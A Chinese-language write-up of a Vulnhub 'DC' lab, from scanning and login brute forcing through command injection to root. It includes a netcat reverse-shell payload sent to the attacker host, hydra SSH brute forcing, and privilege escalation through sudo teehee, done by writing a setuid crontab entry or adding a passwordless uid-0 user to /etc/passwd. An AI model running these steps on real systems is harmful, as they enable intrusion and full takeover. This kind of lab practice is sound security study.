Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。
vulnhub官网:https://www.vulnhub.com
1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);
2、解压会得到一个.ova的文件,然后在VMware中打开即可;
攻击机kali:192.168.2.19
DC靶机:192.168.2.20
(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)
虚拟机打开如下所示:
1、使用nmap扫描扫描到192.168.2.20,开放了22和80端口
2、然后访问一下80端口
3、提示是需要admin来登录,而且没有其他的限制,尝试爆破。
成功得到密码为:happy
4、登录之后页面如下
点击Command
5、可以看到能够执行ls -l, du -h,df -h这三个命令,同时抓包查看,发现执行的命令直接显示了
1、既然命令可以直接显示,那就可以构造直接反弹shell了,使用burp抓包,修改radio的参数如下:
radio=nc+192.168.2.19+9999+-e+/bin/bash&submit=Run
然后再kali中设置监听,成功反弹shell
2、使用python获取到交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
3、进入到/home目录下,查看到有三个用户,但是只有jim用户下有文件
查看jim用户下的脚本文件:test.sh
查看backups目录下的文件,看到了jim用户的密码本
1、将其密码本复制出来,因为靶机还开放了22端口,所以可以进行ssh的爆破,这里我使用的是hydra工具
hydra -l jim -P password.txt -t 10 ssh://192.168.2.20
成功得到jim用户的密码为:jibril04
2、登录
3、最后在var/mail目录下看到一封邮件,得到charles的密码为: ^xHhA&hvim0y
4、切换为charles用户,然后登录,尝试切换为root权限,但是失败了
5、用sudo -l看看还有什么用户能使用root,发现teehee用户可以不用输入密码得到root特权
两种方式:使用crontab提权和添加新用户提权
使用crontab提权
基本过程:向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以 root身份写入crontab计划任务通过执行获取root权限
操作过程如下:
1、echo root chmod 4777 /bin/sh > /etc/crontab
2、sudo teehee /etc/crontab,然后写入的内容:* * * * * root chmod 4777 /bin/sh
(时间部分全部填写为*,默认这个定时任务每分钟执行一次。通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。)
3、ls -la /bin/sh
4、/bin/sh
添加新用户提权
添加一个admin账户,然后使用teehee执行直接写入 passwd中,然后切换为创建的admin用户。
1、echo "test::0:0:::/bin/bash"
2、sudo teehee -a /etc/passwd
3、输入:test::0:0:::/bin/bash
4、然后ctrl+c退出,再su test切换用户,即可获得root权限
设置uid和gid都为0,那么这个用户就相当于root
格式:[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]
1、后台密码爆破,使用burp爆破,工具爆破等等都可以
2、命令注入漏洞
3、反弹shell的命令
4、利用teehee命令进行提权(这里使用crontab提权和添加新用户提权)
参考文章
http://akevin.cn/index.php/archives/635/